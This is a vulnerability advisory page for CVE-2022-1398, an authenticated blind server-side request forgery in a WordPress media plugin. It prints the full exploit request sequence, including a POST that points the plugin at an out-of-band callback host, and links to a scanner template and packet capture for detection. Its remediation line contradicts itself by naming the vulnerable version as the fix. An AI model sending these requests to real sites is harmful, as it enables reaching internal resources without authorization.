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CVE-2022-1398: External Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery

TitleExternal Media without Import <=1.1.2 - Authenticated Blind Server-Side Request Forgery
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to bypass network restrictions, access internal resources, and potentially perform further attacks.
RemediationUpgrade to External Media without Import plugin version 1.1.2 or later.
CVSS Score6.5
EPSS Score0.48896
CVE IDCVE-2022-1398
CWE IDCWE-918
Tags cve2022 cve ssrf wordpress wp-plugin wp wpscan external-media-without-import authenticated intrusive external_media_without_import_project vuln

🔍 Vulnerability Description

WordPress External Media without Import plugin through 1.1.2 is susceptible to authenticated blind server-side request forgery. The plugin has no authorization and does not ensure that media added via URLs are external media, which can allow any authenticated users, including subscribers, to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=HIDCpw&pwd=28EvbM&wp-submit=Log+In
GET /wp-admin/upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-post.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Content-Length: 127
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

urls=http%3A%2F%2Fd5jm06ple0o311578mngqwhep67tkgf15.oast.pro&width=&height=&mime-type=&action=add_external_media_without_import

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1398.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1398.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A